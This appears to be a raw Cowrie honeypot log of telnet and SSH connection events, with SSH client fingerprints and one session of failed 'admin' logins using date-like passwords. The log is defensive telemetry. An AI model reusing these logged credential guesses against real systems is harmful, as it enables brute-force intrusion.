{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":54804,"dst_ip":"10.17.0.5","dst_port":23,"session":"d13f18ae46a9","protocol":"telnet","message":"New connection: 188.208.141.113:54804 (10.17.0.5:23) [session: d13f18ae46a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:11:33.147978Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":54816,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8ff2dcad675","protocol":"telnet","message":"New connection: 188.208.141.113:54816 (10.17.0.5:23) [session: f8ff2dcad675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:11:33.964999Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":54828,"dst_ip":"10.17.0.5","dst_port":23,"session":"139c1f5134d6","protocol":"telnet","message":"New connection: 188.208.141.113:54828 (10.17.0.5:23) [session: 139c1f5134d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:11:33.985353Z"}
{"eventid":"cowrie.session.closed","duration":43.76080393791199,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:11:34.373877Z","src_ip":"188.208.141.113","session":"240c3bdbf62e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":54836,"dst_ip":"10.17.0.5","dst_port":23,"session":"8895e33abdc8","protocol":"telnet","message":"New connection: 188.208.141.113:54836 (10.17.0.5:23) [session: 8895e33abdc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:11:34.931827Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":54850,"dst_ip":"10.17.0.5","dst_port":23,"session":"cffc9497fbbc","protocol":"telnet","message":"New connection: 188.208.141.113:54850 (10.17.0.5:23) [session: cffc9497fbbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:11:36.813570Z"}
{"eventid":"cowrie.session.closed","duration":51.68133735656738,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:11:39.038938Z","src_ip":"188.208.141.113","session":"8b353ee4c3b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41342,"dst_ip":"10.17.0.5","dst_port":23,"session":"953e27da1911","protocol":"telnet","message":"New connection: 188.208.141.113:41342 (10.17.0.5:23) [session: 953e27da1911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:11:41.029267Z"}
{"eventid":"cowrie.session.closed","duration":42.991827964782715,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:11:41.569422Z","src_ip":"188.208.141.113","session":"d6ec5742f2b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41358,"dst_ip":"10.17.0.5","dst_port":23,"session":"268fd3df9d28","protocol":"telnet","message":"New connection: 188.208.141.113:41358 (10.17.0.5:23) [session: 268fd3df9d28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:11:41.819341Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41364,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4edf9ec18f2","protocol":"telnet","message":"New connection: 188.208.141.113:41364 (10.17.0.5:23) [session: a4edf9ec18f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:11:48.339623Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60736,"dst_ip":"10.17.0.5","dst_port":23,"session":"02de5cd7318e","protocol":"telnet","message":"New connection: 188.208.141.113:60736 (10.17.0.5:23) [session: 02de5cd7318e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:11:51.736204Z"}
{"eventid":"cowrie.session.closed","duration":59.05619764328003,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:11:51.866035Z","src_ip":"188.208.141.113","session":"1a1ae47dfcdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.00538873672485,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:11:53.879936Z","src_ip":"188.208.141.113","session":"5003b8d13d22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60752,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e59c909c72c","protocol":"telnet","message":"New connection: 188.208.141.113:60752 (10.17.0.5:23) [session: 7e59c909c72c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:11:58.320618Z"}
{"eventid":"cowrie.session.closed","duration":37.96244025230408,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:12:01.034194Z","src_ip":"188.208.141.113","session":"c5afc6795545","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":52020,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f442b1ffe43","protocol":"telnet","message":"New connection: 188.208.141.113:52020 (10.17.0.5:23) [session: 9f442b1ffe43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:12:03.987741Z"}
{"eventid":"cowrie.session.closed","duration":37.12607383728027,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:12:05.261642Z","src_ip":"188.208.141.113","session":"d53544a8273a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.226306200027466,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:12:06.654227Z","src_ip":"188.208.141.113","session":"4c9d91687862","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.77397441864014,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:12:07.224299Z","src_ip":"188.208.141.113","session":"8fa02ffe1e16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.64477205276489,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:12:09.448850Z","src_ip":"188.208.141.113","session":"6707b4652b30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":52026,"dst_ip":"10.17.0.5","dst_port":23,"session":"62ed2d155752","protocol":"telnet","message":"New connection: 188.208.141.113:52026 (10.17.0.5:23) [session: 62ed2d155752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:12:09.776806Z"}
{"eventid":"cowrie.session.closed","duration":38.192193269729614,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:12:12.177442Z","src_ip":"188.208.141.113","session":"139c1f5134d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.21705889701843,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:12:12.181915Z","src_ip":"188.208.141.113","session":"f8ff2dcad675","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.36110234260559,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:12:13.174552Z","src_ip":"188.208.141.113","session":"cffc9497fbbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.395066022872925,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:12:13.842112Z","src_ip":"188.208.141.113","session":"67f08fa81fab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.39582419395447,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:12:14.327542Z","src_ip":"188.208.141.113","session":"8895e33abdc8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":54028,"dst_ip":"10.17.0.5","dst_port":23,"session":"07c8afc9269a","protocol":"telnet","message":"New connection: 188.208.141.113:54028 (10.17.0.5:23) [session: 07c8afc9269a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:12:18.864308Z"}
{"eventid":"cowrie.session.closed","duration":38.48387956619263,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:12:19.513015Z","src_ip":"188.208.141.113","session":"953e27da1911","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.87857675552368,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:12:23.026423Z","src_ip":"188.208.141.113","session":"d13f18ae46a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.25623559951782,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:12:23.595780Z","src_ip":"188.208.141.113","session":"a4edf9ec18f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.01229763031006,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:12:25.748380Z","src_ip":"188.208.141.113","session":"02de5cd7318e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.07142162322998,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:12:26.890625Z","src_ip":"188.208.141.113","session":"268fd3df9d28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":47490,"dst_ip":"10.17.0.5","dst_port":23,"session":"1597057a909c","protocol":"telnet","message":"New connection: 103.208.219.59:47490 (10.17.0.5:23) [session: 1597057a909c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:12:34.541770Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44960,"dst_ip":"10.17.0.5","dst_port":23,"session":"a778dd25540d","protocol":"telnet","message":"New connection: 188.208.141.113:44960 (10.17.0.5:23) [session: a778dd25540d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:12:36.196363Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55468,"dst_ip":"10.17.0.5","dst_port":23,"session":"761fb86b74d2","protocol":"telnet","message":"New connection: 188.208.141.113:55468 (10.17.0.5:23) [session: 761fb86b74d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:12:46.081018Z"}
{"eventid":"cowrie.session.closed","duration":49.36485743522644,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:12:47.685351Z","src_ip":"188.208.141.113","session":"7e59c909c72c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55478,"dst_ip":"10.17.0.5","dst_port":23,"session":"71b0bb8b2322","protocol":"telnet","message":"New connection: 188.208.141.113:55478 (10.17.0.5:23) [session: 71b0bb8b2322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:12:49.569130Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55494,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc408ec26983","protocol":"telnet","message":"New connection: 188.208.141.113:55494 (10.17.0.5:23) [session: bc408ec26983]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:12:49.955304Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55504,"dst_ip":"10.17.0.5","dst_port":23,"session":"3042856224b6","protocol":"telnet","message":"New connection: 188.208.141.113:55504 (10.17.0.5:23) [session: 3042856224b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:12:50.616295Z"}
{"eventid":"cowrie.session.closed","duration":47.303447008132935,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:12:51.291029Z","src_ip":"188.208.141.113","session":"9f442b1ffe43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":26624,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f417b25bb2d","protocol":"ssh","message":"New connection: 2.57.121.112:26624 (159.203.135.109:22) [session: 8f417b25bb2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:12:56.720118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:12:56.725963Z","src_ip":"2.57.121.112","session":"8f417b25bb2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:12:56.830642Z","src_ip":"2.57.121.112","session":"8f417b25bb2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"170376","message":"login attempt [admin/170376] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:12:57.319875Z","src_ip":"2.57.121.112","session":"8f417b25bb2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"17031970","message":"login attempt [admin/17031970] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:12:58.426989Z","src_ip":"2.57.121.112","session":"8f417b25bb2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"17021973","message":"login attempt [admin/17021973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:12:59.533524Z","src_ip":"2.57.121.112","session":"8f417b25bb2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"170187","message":"login attempt [admin/170187] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:13:00.639843Z","src_ip":"2.57.121.112","session":"8f417b25bb2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.621217012405396,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:13:01.397712Z","src_ip":"188.208.141.113","session":"62ed2d155752","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"170178","message":"login attempt [admin/170178] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:13:01.747634Z","src_ip":"2.57.121.112","session":"8f417b25bb2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:13:02.857169Z","src_ip":"2.57.121.112","session":"8f417b25bb2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.240850687026978,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:13:05.782510Z","src_ip":"103.208.219.59","session":"1597057a909c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.681800842285156,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:13:12.545933Z","src_ip":"188.208.141.113","session":"07c8afc9269a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.00926923751831,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:13:14.205523Z","src_ip":"188.208.141.113","session":"a778dd25540d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":54672,"dst_ip":"10.17.0.5","dst_port":23,"session":"e237d9e3340d","protocol":"telnet","message":"New connection: 188.208.141.113:54672 (10.17.0.5:23) [session: e237d9e3340d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:13:17.182505Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":65194,"dst_ip":"10.17.0.5","dst_port":22,"session":"e680d8589914","protocol":"ssh","message":"New connection: 194.59.206.2:65194 (10.17.0.5:22) [session: e680d8589914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:13:19.059212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:13:19.064364Z","src_ip":"194.59.206.2","session":"e680d8589914","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:13:19.150346Z","src_ip":"194.59.206.2","session":"e680d8589914","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:13:19.240438Z","src_ip":"194.59.206.2","session":"e680d8589914","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40996,"dst_ip":"10.17.0.5","dst_port":23,"session":"33fcf3e20941","protocol":"telnet","message":"New connection: 188.208.141.113:40996 (10.17.0.5:23) [session: 33fcf3e20941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:13:21.495883Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41006,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa95ec16d978","protocol":"telnet","message":"New connection: 188.208.141.113:41006 (10.17.0.5:23) [session: fa95ec16d978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:13:28.501576Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41020,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e37fcc7cb2e","protocol":"telnet","message":"New connection: 188.208.141.113:41020 (10.17.0.5:23) [session: 4e37fcc7cb2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:13:29.808211Z"}
{"eventid":"cowrie.session.closed","duration":9.47981858253479,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:13:30.975573Z","src_ip":"188.208.141.113","session":"33fcf3e20941","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.42083382606506,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:13:32.989871Z","src_ip":"188.208.141.113","session":"71b0bb8b2322","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.0384202003479,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:13:32.993620Z","src_ip":"188.208.141.113","session":"bc408ec26983","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.676414489746094,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:13:33.757288Z","src_ip":"188.208.141.113","session":"761fb86b74d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.20973086357117,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:13:37.825893Z","src_ip":"188.208.141.113","session":"3042856224b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44454,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a4977654842","protocol":"telnet","message":"New connection: 188.208.141.113:44454 (10.17.0.5:23) [session: 3a4977654842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:13:42.212532Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.12.204.206","src_port":54568,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a600d7bba9b","protocol":"telnet","message":"New connection: 186.12.204.206:54568 (10.17.0.5:23) [session: 4a600d7bba9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:13:49.280182Z"}
{"eventid":"cowrie.session.closed","duration":40.197094440460205,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:13:57.379498Z","src_ip":"188.208.141.113","session":"e237d9e3340d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53898,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f4c57d09b89","protocol":"telnet","message":"New connection: 188.208.141.113:53898 (10.17.0.5:23) [session: 9f4c57d09b89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:14:00.419545Z"}
{"eventid":"cowrie.session.closed","duration":12.741005420684814,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:14:02.021046Z","src_ip":"186.12.204.206","session":"4a600d7bba9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51850,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d0360b0dc9c","protocol":"telnet","message":"New connection: 188.208.141.113:51850 (10.17.0.5:23) [session: 8d0360b0dc9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:14:02.461020Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51860,"dst_ip":"10.17.0.5","dst_port":23,"session":"70e6da3361cf","protocol":"telnet","message":"New connection: 188.208.141.113:51860 (10.17.0.5:23) [session: 70e6da3361cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:14:04.357350Z"}
